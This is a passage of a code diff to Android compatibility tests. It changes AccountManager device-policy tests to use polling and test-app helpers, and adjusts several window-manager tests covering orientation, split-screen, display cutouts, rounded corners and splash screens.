-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // addAccountWithType(EXISTING_ACCOUNT_TYPE);
-            // Bundle result = removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+            addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+            Bundle result = removeAccount(sDeviceState.dpc(), ACCOUNT_WITH_EXISTING_TYPE);
 
-            // assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
+            assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
         } finally {
             mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
         }
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
-    public void addAccount_withDisallowModifyAccountsRestriction_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+    public void addAccount_withDisallowModifyAccountsRestriction_throwsException() {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
@@ -241,17 +225,16 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException,
-            InterruptedException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             assertThrows(OperationCanceledException.class, () ->
-                    removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+                    removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
         } finally {
             // Account is automatically removed when the test app is removed
             mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -259,7 +242,7 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_withAccountManagementDisabled_throwsException() {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
@@ -273,17 +256,16 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_withAccountManagementDisabled_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException,
-            InterruptedException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
             assertThrows(OperationCanceledException.class, () ->
-                    removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+                    removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
         } finally {
             // Account is automatically removed when the test app is removed
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
@@ -293,14 +275,25 @@
     /**
      * Blocks until an account of {@code type} is added.
      */
-    // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
-    private Bundle addAccountWithType(String type) {
+    // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+    private Bundle addAccountFromInstrumentedAppWithType(String type) {
         return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(type))
                 .toNotBeNull()
                 .errorOnFail()
                 .await();
     }
 
+    /**
+     * Blocks until an account of {@code type} is added.
+     */
+    // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+    private Bundle addAccountWithType(TestAppInstance testApp, String type) {
+        return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(testApp, type))
+                .toNotBeNull()
+                .errorOnFail()
+                .await();
+    }
+
     private Bundle addAccountWithTypeOnce(String type) throws Exception {
         return mAccountManager.addAccount(
                 type,
@@ -312,13 +305,23 @@
                 /* handler= */ null).getResult();
     }
 
+    private Bundle addAccountWithTypeOnce(TestAppInstance testApp, String type)
+            throws Exception {
+        return testApp.accountManager().addAccount(
+                type,
+                /* authTokenType= */ null,
+                /* requiredFeatures= */ null,
+                /* addAccountOptions= */ null,
+                /* activity= */ null,
+                /* callback= */ null,
+                /* handler= */ null).getResult();
+    }
+
     /**
      * Blocks until {@code account} is removed.
      */
-    // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
-    private Bundle removeAccount(Account account)
-            throws OperationCanceledException, IOException,
-            InterruptedException, AuthenticatorException {
+    private Bundle removeAccountFromInstrumentedApp(Account account)
+            throws Exception {
         return mAccountManager.removeAccount(
                 account,
                 /* activity= */ null,
@@ -326,4 +329,17 @@
                 /* handler= */ null)
                 .getResult();
     }
+
+    /**
+     * Blocks until {@code account} is removed.
+     */
+    private Bundle removeAccount(TestAppInstance testApp, Account account)
+            throws Exception {
+        return testApp.accountManager().removeAccount(
+                account,
+                /* activity= */ null,
+                /* callback= */  null,
+                /* handler= */ null)
+                .getResult();
+    }
 }
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index b765cb0..181fe06 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -336,7 +336,8 @@
         <activity android:name="android.server.wm.WindowInsetsLayoutTests$TestActivity"/>
         <activity android:name="android.server.wm.WindowInsetsControllerTests$TestActivity"
                   android:theme="@style/no_starting_window"/>
-        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"/>
+        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"
+                  android:windowSoftInputMode="adjustPan|stateUnchanged"/>
         <activity android:name="android.server.wm.WindowInsetsControllerTests$TestShowOnCreateActivity"/>
 
         <activity android:name="android.server.wm.DragDropTest$DragDropActivity"
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
index 82c3770..2258da2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
@@ -47,13 +47,14 @@
             final Intent launchIntent = new Intent();
             launchIntent.setComponent(launchActivity)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
-            final ActivityOptions activityOptions = ActivityOptions.makeBasic();
-            activityOptions.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
             if (getIntent().hasExtra(EXTRA_ASSISTANT_DISPLAY_ID)) {
-                activityOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
+                ActivityOptions displayOptions = ActivityOptions.makeBasic();
+                displayOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
                         .getStringExtra(EXTRA_ASSISTANT_DISPLAY_ID)));
+                startActivity(launchIntent, displayOptions.toBundle());
+            } else {
+                startActivity(launchIntent);
             }
-            startActivity(launchIntent, activityOptions.toBundle());
         }
 
         // Enter pip if requested
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 401ebaf..6190316 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -24,7 +24,6 @@
 import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
-import static android.server.wm.UiDeviceUtils.pressSleepButton;
 import static android.server.wm.VirtualDisplayHelper.waitForDefaultDisplayState;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
@@ -64,6 +63,7 @@
 import android.server.wm.CommandSession.ActivitySessionClient;
 import android.server.wm.app.Components;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -327,9 +327,11 @@
         }
 
         getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
 
         getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
 
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
@@ -349,30 +351,27 @@
         }
         // Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks.
         getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
         waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
-        final int taskId1 = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
-        final int taskId2 = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
+        final int taskId = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
 
         try {
-            runWithShellPermission(() -> {
-                mAtm.startSystemLockTaskMode(taskId1);
-                mAtm.startSystemLockTaskMode(taskId2);
-            });
+            runWithShellPermission(() -> mAtm.startSystemLockTaskMode(taskId));
             getLaunchActivityBuilder()
                     .setUseInstrumentation()
                     .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                    .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                     .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
-            waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
-            mBroadcastActionTrigger.finishBroadcastReceiverActivity();
-            mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
-
-            mWmState.assertHomeActivityVisible(false);
+            mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
         } finally {
-            runWithShellPermission(() -> {
-                mAtm.stopSystemLockTaskMode();
-            });
+            runWithShellPermission(() -> mAtm.stopSystemLockTaskMode());
         }
+
+        mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+        mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
+
+        mWmState.assertHomeActivityVisible(false);
     }
 
     @Test
@@ -601,6 +600,7 @@
     }
 
     @Test
+    @Ignore("Unable to disable AOD for some devices")
     public void testTurnScreenOnWithAttr_Freeform() {
         assumeTrue(supportsLockScreen());
         assumeTrue(supportsFreeform());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index bdd4cf4..4f03eb2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -71,6 +71,7 @@
 import android.server.wm.TestJournalProvider.TestJournalContainer;
 import android.util.DisplayMetrics;
 import android.view.Display;
+import android.window.WindowContainerTransaction;
 
 import org.junit.Test;
 
@@ -282,9 +283,13 @@
         final SizeInfo dockedSizes = getLastReportedSizesForActivity(activityName);
         assertSizesAreSane(initialFullscreenSizes, dockedSizes);
 
-        // Restore to fullscreen.
         separateTestJournal();
-        mTaskOrganizer.dismissSplitScreen();
+        // Restore to fullscreen.
+        final int activityTaskId = mWmState.getTaskByActivity(activityName).mTaskId;
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+            .setWindowingMode(mTaskOrganizer.getTaskInfo(activityTaskId).getToken(),
+                WINDOWING_MODE_FULLSCREEN);
+        mTaskOrganizer.dismissSplitScreen(wct, false /* primaryOnTop */);
         // Home task could be on top since it was the top-most task while in split-screen mode
         // (dock task was minimized), start the activity again to ensure the activity is at
         // foreground.
@@ -358,6 +363,9 @@
     public void testTranslucentAppOrientationRequests() {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
 
+        // Disable fixed to user rotation by creating a rotation session
+        createManagedRotationSession();
+
         separateTestJournal();
         launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         final SizeInfo initialReportedSizes =
@@ -762,7 +770,7 @@
 
         launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
-        final SizeInfo initialSize = getLastReportedSizesForActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+        final SizeInfo initialSize = activitySession.getConfigInfo().sizeInfo;
 
         // Rotate the display and check that the orientation doesn't change
         rotationSession.set(ROTATION_0);
@@ -788,6 +796,9 @@
     public void testTaskMoveToBackOrientation() {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
 
+        // Disable fixed to user rotation by creating a rotation session
+        createManagedRotationSession();
+
         // Start landscape activity.
         launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index aa85e2c..cdf5c12 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -200,9 +200,9 @@
             removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
         }
 
-        // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
-        // the fullscreen activity is still visible and on top after the assistant activity finishes
-        launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
+        // Launch an assistant activity on top of an existing activity, and ensure that the activity
+        // is still visible and on top after the assistant activity finishes
+        launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
         try (final AssistantSession assistantSession = new AssistantSession()) {
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 0c56169..16bdeb6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -55,6 +55,11 @@
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.List;
 
 /**
  * The test is focused on compatibility changes that have an effect on WM logic, and tests that
@@ -71,6 +76,7 @@
  * atest CtsWindowManagerDeviceTestCases:CompatChangeTests
  */
 @Presubmit
+@RunWith(Parameterized.class)
 public final class CompatChangeTests extends MultiDisplayTestBase {
     private static final ComponentName RESIZEABLE_PORTRAIT_ACTIVITY =
             component(ResizeablePortraitActivity.class);
@@ -96,6 +102,14 @@
 
     private static final float FLOAT_EQUALITY_DELTA = 0.01f;
 
+    @Parameterized.Parameters(name= "{0}")
+    public static List<Double> data() {
+        return Arrays.asList(0.5, 2.0);
+    }
+
+    @Parameterized.Parameter(0)
+    public double resizeRatio;
+
     @Rule
     public TestRule compatChangeRule = new PlatformCompatChangeRule();
 
@@ -487,10 +501,10 @@
      */
     private void runSizeCompatTest(ComponentName activity, int windowingMode,
             boolean inSizeCompatModeAfterResize) {
-        runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 0.5,
-                inSizeCompatModeAfterResize);
-        restoreDisplay(activity);
-        runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 2,
+        mWmState.computeState();
+        WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
+
+        runSizeCompatTest(activity, windowingMode, resizeRatio,
                 inSizeCompatModeAfterResize);
     }
 
@@ -552,11 +566,11 @@
     private void runSizeCompatModeSandboxTest(ComponentName activity, boolean isSandboxed,
             boolean inSizeCompatModeAfterResize) {
         assertThat(getInitialDisplayAspectRatio()).isLessThan(ACTIVITY_LARGE_MIN_ASPECT_RATIO);
-        runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio= */ 0.5,
-                inSizeCompatModeAfterResize);
-        assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
-        restoreDisplay(activity);
-        runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio= */ 2,
+
+        mWmState.computeState();
+        WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
+
+        runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, resizeRatio,
                 inSizeCompatModeAfterResize);
         assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
     }
@@ -696,13 +710,14 @@
     }
 
     /**
-     * Restore the display size and ensure configuration changes are complete.
+     * Wait for the display to be restored to the original display content.
      */
-    private void restoreDisplay(ComponentName activity) {
-        final Rect originalBounds = mWmState.getActivity(activity).getBounds();
-        mDisplayMetricsSession.restoreDisplayMetrics();
-        // Ensure configuration changes are complete after resizing the display.
-        waitForActivityBoundsChanged(activity, originalBounds);
+    private void waitForRestoreDisplay(WindowManagerState.DisplayContent originalDisplayContent) {
+        mWmState.waitForWithAmState(wmState -> {
+            mDisplayMetricsSession.restoreDisplayMetrics();
+            WindowManagerState.DisplayContent dc = mWmState.getDisplay(DEFAULT_DISPLAY);
+            return dc.equals(originalDisplayContent);
+        }, "waiting for display to be restored");
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index 28608d0..a19c0fa 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -25,6 +25,7 @@
 import static android.server.wm.DisplayCutoutTests.TestActivity.EXTRA_ORIENTATION;
 import static android.server.wm.DisplayCutoutTests.TestDef.Which.DISPATCHED;
 import static android.server.wm.DisplayCutoutTests.TestDef.Which.ROOT;
+import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT;
@@ -54,7 +55,6 @@
 import android.content.pm.PackageManager;
 import android.graphics.Insets;
 import android.graphics.Path;
-import android.graphics.Point;
 import android.graphics.Rect;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
@@ -527,14 +527,9 @@
                 new Intent().putExtra(EXTRA_CUTOUT_MODE, cutoutMode)
                         .putExtra(EXTRA_ORIENTATION, orientation));
         PollingCheck.waitFor(activity::hasWindowFocus);
-        PollingCheck.waitFor(() -> {
-            final Rect appBounds = getAppBounds(activity);
-            final Point displaySize = new Point();
-            activity.getDisplay().getRealSize(displaySize);
-            // During app launch into a different rotation, we have temporarily have the display
-            // in a different rotation than the app itself. Wait for this to settle.
-            return (appBounds.width() > appBounds.height()) == (displaySize.x > displaySize.y);
-        });
+        final WindowManagerStateHelper wmState = new WindowManagerStateHelper();
+        wmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        wmState.waitForDisplayUnfrozen();
         return activity;
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 065fb95..ad931ec 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -19,6 +19,7 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -250,7 +251,7 @@
                 .setSimulateDisplay(true).createDisplay();
 
         // Launch activity on new secondary display.
-        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, newDisplay.mId);
+        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId);
 
         waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
                 "Activity requested to launch on secondary display must be focused");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 98ad738..ae5284e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -350,35 +350,6 @@
         return mObjectTracker.manage(new DisplayMetricsSession(displayId));
     }
 
-    public static class IgnoreOrientationRequestSession implements AutoCloseable {
-        private static final String WM_SET_IGNORE_ORIENTATION_REQUEST =
-                "wm set-ignore-orientation-request ";
-        private static final String WM_GET_IGNORE_ORIENTATION_REQUEST =
-                "wm get-ignore-orientation-request";
-        private static final Pattern IGNORE_ORIENTATION_REQUEST_PATTERN =
-                Pattern.compile("ignoreOrientationRequest (true|false) for displayId=\\d+");
-
-        final int mDisplayId;
-        final boolean mInitialValue;
-
-        IgnoreOrientationRequestSession(int displayId, boolean value) {
-            mDisplayId = displayId;
-            Matcher matcher = IGNORE_ORIENTATION_REQUEST_PATTERN.matcher(
-                    executeShellCommand(WM_GET_IGNORE_ORIENTATION_REQUEST + " -d " + mDisplayId));
-            assertTrue("get-ignore-orientation-request should match pattern", matcher.find());
-            mInitialValue = Boolean.parseBoolean(matcher.group(1));
-
-            executeShellCommand("wm set-ignore-orientation-request true -d " + mDisplayId);
-            executeShellCommand(WM_SET_IGNORE_ORIENTATION_REQUEST + value + " -d " + mDisplayId);
-        }
-
-        @Override
-        public void close() {
-            executeShellCommand(
-                    WM_SET_IGNORE_ORIENTATION_REQUEST + mInitialValue + " -d " + mDisplayId);
-        }
-    }
-
     /** @see ObjectTracker#manage(AutoCloseable) */
     protected IgnoreOrientationRequestSession createManagedIgnoreOrientationRequestSession(
             int displayId, boolean value) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
index b664b11..d7d4573 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
@@ -22,14 +22,13 @@
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED;
 import static android.server.wm.RoundedCornerTests.TestActivity.EXTRA_ORIENTATION;
+import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.RoundedCorner.POSITION_BOTTOM_LEFT;
 import static android.view.RoundedCorner.POSITION_BOTTOM_RIGHT;
 import static android.view.RoundedCorner.POSITION_TOP_LEFT;
 import static android.view.RoundedCorner.POSITION_TOP_RIGHT;
-import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -56,6 +55,7 @@
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.After;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -63,7 +63,7 @@
 
 @Presubmit
 @RunWith(Parameterized.class)
-public class RoundedCornerTests {
+public class RoundedCornerTests extends ActivityManagerTestBase {
     private static final String TAG = "RoundedCornerTests";
     private final static int POSITION_LENGTH = 4;
     private final static long TIMEOUT = 1000; // milliseconds
@@ -84,6 +84,14 @@
     @Parameterized.Parameter(1)
     public String orientationName;
 
+    @Before
+    public void setUp() {
+        // On devices with ignore_orientation_request set to true, the test activity will be
+        // letterboxed in a landscape display which make the activity not a fullscreen one.
+        // We should set it to false while testing.
+        mObjectTracker.manage(new IgnoreOrientationRequestSession(DEFAULT_DISPLAY, false));
+    }
+
     @After
     public void tearDown() {
         mTestActivity.finishActivity();
@@ -155,6 +163,8 @@
             getWindow().requestFeature(Window.FEATURE_NO_TITLE);
             getWindow().getAttributes().layoutInDisplayCutoutMode =
                     LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            getWindow().getDecorView().getWindowInsetsController().hide(
+                    WindowInsets.Type.systemBars());
             if (getIntent() != null) {
                 setRequestedOrientation(getIntent().getIntExtra(
                         EXTRA_ORIENTATION, SCREEN_ORIENTATION_UNSPECIFIED));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index b49e726..9635923 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -55,6 +55,7 @@
 import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_SET_NIGHT_MODE_ON_CREATE;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowInsets.Type.captionBar;
+import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
 
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -174,9 +175,10 @@
         final Bitmap image = takeScreenshot();
         final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
         final Rect stableBounds = new Rect(windowMetrics.getBounds());
-        Insets insets = windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
-                systemBars() & ~captionBar());
-        stableBounds.inset(insets);
+        Insets statusBarInsets = windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+                statusBars());
+        stableBounds.inset(windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+                systemBars() & ~captionBar()));
         WindowManagerState.WindowState startingWindow = mWmState.findFirstWindowWithType(
                 WindowManager.LayoutParams.TYPE_APPLICATION_STARTING);
 
@@ -188,9 +190,8 @@
             appBounds = new Rect(startingWindow.getFrame());
         }
 
-        Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top);
-        Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom,
-                appBounds.right - insets.right, appBounds.bottom);
+        Rect statusBarInsetsBounds = new Rect(statusBarInsets.left, 0,
+                appBounds.right - statusBarInsets.right, statusBarInsets.top);
 
         assertFalse("Couldn't find splash screen bounds. Impossible to assert the colors",
                 appBounds.isEmpty());
@@ -206,11 +207,8 @@
 
         appBounds.intersect(stableBounds);
         assertColors(image, appBounds, primaryColor, 0.99f, secondaryColor, 0.02f, ignoreRect);
-        if (isFullscreen && !topInsetsBounds.isEmpty()) {
-            assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
-        }
-        if (isFullscreen && !bottomInsetsBounds.isEmpty()) {
-            assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
+        if (isFullscreen && !statusBarInsetsBounds.isEmpty()) {
+            assertColors(image, statusBarInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
                     null);
         }
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 7585856..2fa3ec8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
